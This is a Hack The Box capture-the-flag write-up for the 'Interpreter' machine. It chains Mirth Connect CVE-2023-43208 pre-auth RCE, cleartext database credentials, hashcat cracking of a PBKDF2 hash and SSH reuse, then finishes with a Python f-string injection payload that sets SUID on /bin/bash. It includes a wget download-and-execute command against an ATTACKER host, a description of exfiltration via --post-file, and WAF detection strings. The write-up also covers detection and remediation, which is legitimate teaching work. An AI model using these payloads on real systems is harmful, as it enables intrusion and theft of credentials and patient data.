Skip to content
Back to all posts

HTB: Interpreter

· 22 min hard Windows Interpreter

Pre-authentication Java deserialisation in Mirth Connect, PBKDF2 hash cracking of a dictionary password, and a Python f-string template injection in a root-owned Flask service for privilege escalation.

Overview

Interpreter is a hard-rated Linux machine running Mirth Connect v4.4.0, an open-source healthcare integration engine by NextGen Healthcare used for HL7/FHIR message routing. The application runs on Eclipse Jetty behind a Jersey REST API, exposed on ports 80 and 443.

The attack chain begins with CVE-2023-43208, a pre-authentication remote code execution vulnerability in Mirth Connect’s XStream deserialisation handler. This CVE bypasses the original fix for CVE-2023-37679 by using an Apache Commons Collections 4 gadget chain instead of the denylisted ProcessBuilder class. A crafted XML payload sent to POST /api/users is deserialised before authentication is checked, yielding command execution as the mirth service account (uid 103).

From the mirth shell, the Mirth Connect configuration file contains cleartext MariaDB credentials. Querying the PERSON_PASSWORD table yields a PBKDF2-HMAC-SHA256 hash (600,000 iterations) for user sedric. Despite the strong iteration count, the password snowflake1 is a dictionary word and cracks with hashcat. The password is reused for SSH, granting the user flag.

Privilege escalation targets notif.py, a root-owned Flask service listening on localhost port 54321. The service formats patient notification strings using Python f-string interpolation passed through a code evaluation function. An input validation regex permits curly braces, parentheses, underscores, and dots, which are sufficient for arbitrary Python expression injection. Space characters are blocked but chr(32) produces them without literals. The exploit sets the SUID bit on /bin/bash.

Reconnaissance

nmap -A -T4 10.129.244.184
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.2p1 Debian 2+deb12u7Debian 12 Bookworm
80HTTPEclipse JettyMirth Connect web interface
443HTTPSEclipse JettyTLS cert CN=mirth-connect

Three services. Ports 80 and 443 both serve the Mirth Connect Administrator login page. The TLS certificate common name confirms the application identity. All API requests require an X-Requested-With header.

Version disclosure (unauthenticated)

Two API endpoints respond without authentication:

curl -sk -H "X-Requested-With: XMLHttpRequest" \
  https://10.129.244.184/api/server/version
# "4.4.0"

curl -sk -H "X-Requested-With: XMLHttpRequest" \
  https://10.129.244.184/api/server/status
# <int>0</int>

Precise version identification. Default credentials (admin/admin) fail against the login API.

Attack Surface Analysis

Mirth Connect v4.4.0 is within the affected range for CVE-2023-43208. This vulnerability was added to the CISA Known Exploited Vulnerabilities catalogue in November 2023, indicating active exploitation in the wild.

CVE-2023-43208: XStream deserialisation bypass

CVE-2023-43208 is a bypass of CVE-2023-37679. The original fix added ProcessBuilder to XStream’s type denylist. The bypass uses InvokerTransformer from Apache Commons Collections 4, which is not on the denylist. Both CVEs allow unauthenticated RCE because XStream deserialises the POST body before the authentication layer processes the request.

AttributeValue
CVECVE-2023-43208
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-502 (Deserialisation of Untrusted Data)
Root causeIncomplete denylist; gadget chain bypass
Fixed inMirth Connect 4.4.1
CISA KEVAdded November 2023

Vulnerability Analysis

The gadget chain structure:

  1. A sorted-set element triggers comparison of its children during deserialisation
  2. A dynamic-proxy implementing Comparable intercepts the compareTo call
  3. The proxy handler (EventBindingInvocationHandler) delegates to a ChainedTransformer
  4. The transformer chain uses ConstantTransformer to obtain java.lang.Runtime, then three InvokerTransformer instances to call getRuntime() and exec(String)

The server returns HTTP 500 because the deserialised object does not satisfy the API’s expected type, but the injected code has already executed. From a network monitoring perspective, the exploit looks like a failed API call.

The second vulnerability is a CWE-94 (Code Injection) in a root-owned Flask service. The service accepts XML patient data via POST /addPatient (localhost only) and formats notification strings using Python f-string interpolation passed through a dynamic code execution path. The input validation regex ^[a-zA-Z0-9._'"(){}=+/]+$ permits five characters critical for code injection: curly braces, parentheses, underscores, dots, and quotes. These are the minimal set for arbitrary Python expression injection within f-strings.

Exploitation

Phase 1: pre-auth RCE via XStream deserialisation

Java’s Runtime.exec(String) tokenises on whitespace without shell interpretation, so pipes, redirections, and variable expansion are unavailable. The workaround: download a bash script via wget, then execute it in a second RCE invocation.

# First RCE: download enumeration script
# payload command: /usr/bin/wget http://ATTACKER:8888/enum.sh -O /tmp/enum.sh

# Second RCE: execute it
# payload command: /bin/bash /tmp/enum.sh

The enumeration script runs id, reads /etc/passwd, runs ss -tlnp, dumps mirth.properties, and exfiltrates everything via wget --post-file:

uid=103(mirth) gid=107(mirth) groups=107(mirth)

sedric:x:1000:1000::/home/sedric:/bin/bash

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!

Internal services: MariaDB on 3306, notif.py on 54321 (running as root, PID 3520), Mirth Connect internal on 6661.

Phase 2: PBKDF2 hash cracking and SSH

A second script queries MariaDB using the extracted credentials:

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod \
  -e "SELECT * FROM PERSON_PASSWORD;"

The hash is base64-encoded PBKDF2-HMAC-SHA256 with 600,000 iterations. The first 8 bytes after decoding are the per-user salt; the remainder is the derived key.

hashcat -m 10900 sedric.hash /usr/share/wordlists/rockyou.txt

sha256:600000:BASE64SALT:BASE64HASH:snowflake1
Status: Cracked

Despite 600,000 iterations making each guess computationally expensive, snowflake1 is a dictionary word that appears early in rockyou.txt.

sshpass -p 'snowflake1' ssh [email protected]
sedric@interpreter:~$ cat /home/sedric/user.txt
# [flag redacted]

Phase 3: f-string injection for root

I confirm f-string injection with arithmetic:

# firstname: {7+7}
# Response: "Patient 14 Test (M), 36 years old..."

The firstname {7+7} was evaluated to 14. Now the payload uses __import__("os").system() with chr(32) to bypass the space restriction and set the SUID bit on /bin/bash:

{__import__("os").system("chmod"+chr(32)+"u+s"+chr(32)+"/bin/bash")}
sedric@interpreter:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

sedric@interpreter:~$ /bin/bash -p
bash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root)

bash-5.2# cat /root/root.txt
# [flag redacted]

Post-Exploitation

The mirth service account (uid 103) has no interactive shell (/usr/sbin/nologin) but can read all Mirth Connect configuration files, including database credentials. The two-step exfiltration technique (download script via wget, execute, post results back) is a recurring pattern in Java deserialisation exploits where Runtime.exec() limitations prevent direct shell interaction.

No sudo privileges for sedric. No unusual SUID binaries. The root service on localhost:54321 was the only viable escalation vector. In a healthcare environment, the Mirth Connect database would contain patient data (HL7 messages, demographics, lab results), making the pre-auth RCE a significant HIPAA concern.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190WAF rules for Java deserialisation gadget class names
ExecutionT1059.004auditd on child processes spawned by the Mirth JVM
Credential AccessT1552.001File integrity monitoring on mirth.properties
Credential AccessT1110.002MariaDB query audit for PERSON_PASSWORD table access
Lateral MovementT1021.004SSH login correlation with application credential compromise
Privilege EscalationT1068Monitor the root Flask service for unexpected input patterns
PersistenceT1548.001SUID bit change detection on system binaries

WAF detection for the XStream exploit: block POST requests to /api/users containing InvokerTransformer, ChainedTransformer, or EventBindingInvocationHandler in the request body. The Metasploit module’s traffic is distinctive.

Remediation

PriorityActionEffortImpact
P0Upgrade Mirth Connect to >= 4.4.1LowCritical
P0Rewrite notif.py: use safe string formatting (str.format)LowCritical
P1Move database credentials to a secrets managerMediumHigh
P1Enforce password complexity (no dictionary words)MediumHigh
P1Prohibit credential reuse between app and OS accountsLowHigh
P2Restrict mirth.properties permissions to root:mirth 0640LowMedium
P2Deploy AppArmor profiles for the Flask serviceMediumMedium
P3Disable unauthenticated /api/server/versionLowLow
P3Suppress Jetty stack traces in error responsesLowLow

The Flask service remediation deserves emphasis. The regex filter attempted to restrict inputs to “safe” characters but permitted the five characters needed for arbitrary Python code execution: {}, (), _, ., and ". No regex can make dynamic code execution safe. The correct fix is removing the dynamic evaluation entirely and using str.format_map() with a restricted namespace, or simply building the output string through concatenation.

Key Takeaways

  1. Java deserialisation in healthcare software is a critical risk. Mirth Connect is deployed in hospitals and health systems worldwide. CVE-2023-43208 was added to CISA KEV, indicating active exploitation. The HTTP 500 response masks successful execution. Organisations running Mirth Connect below 4.4.1 should treat their systems as potentially compromised.

  2. Runtime.exec(String) limitations are a recurring friction point. The single-string overload tokenises on whitespace without shell interpretation. The standard workaround is a two-step download-and-execute pattern. Understanding this limitation is essential for any engagement involving Java deserialisation exploits.

  3. Dynamic code execution with regex filtering is never safe. The minimal character set for arbitrary Python code execution within f-strings is surprisingly small: curly braces, parentheses, underscores, dots, and quotes. No denylist can anticipate all possible code constructions from these characters. The only safe approach is to not use dynamic code execution on user input.

  4. PBKDF2 with 600,000 iterations is strong but meaningless against dictionary passwords. The hash required significant computation per guess. The real defence is password quality policy, not iteration count. snowflake1 appears in rockyou.txt and was recovered despite the computational cost. Strong hashing protects against brute force but not against weak password selection.